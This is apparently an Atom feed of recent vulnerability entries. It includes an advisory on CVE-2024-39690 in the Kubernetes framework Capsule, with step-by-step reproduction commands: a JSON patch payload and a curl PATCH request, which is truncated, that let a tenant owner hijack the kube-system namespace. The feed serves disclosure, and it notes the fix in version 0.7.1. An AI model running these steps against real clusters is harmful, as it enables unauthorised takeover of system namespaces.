<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-07T02:59:45.059181+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-249776</id>
    <title>EUVD-2026-249776</title>
    <updated>2026-10-07T02:59:45.112212+00:00</updated>
    <content>EUVD-2026-249776</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-249776"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2024-39690</id>
    <title>fkie_cve-2024-39690</title>
    <updated>2026-10-07T02:59:45.112250+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Capsule is a multi-tenancy and policy-based framework for Kubernetes. In Capsule v0.7.0 and earlier, the tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace. Version 0.7.1 contains a patch.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2024-39690"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-mq69-4j5w-3qwp</id>
    <title>GHSA-mq69-4j5w-3qwp — Capsule tenant owner with "patch namespace" permission can hijack system namespaces</title>
    <updated>2026-10-07T02:59:45.112283+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/projectcapsule/capsule</p>
<p># Attack Vector
Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.</p>
<p># Below are my detailed reproduction steps
1. Create a test cluster
`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`
2. Install the capsule
`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`
3. Create a tenant
```
kubectl create -f - &lt;&lt; EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF
```
4. Create user alice
```
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
```
5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
```
kubectl proxy</p>
<p>export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'</p>
<p>curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATC…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-mq69-4j5w-3qwp"/>
  </entry>
</feed>
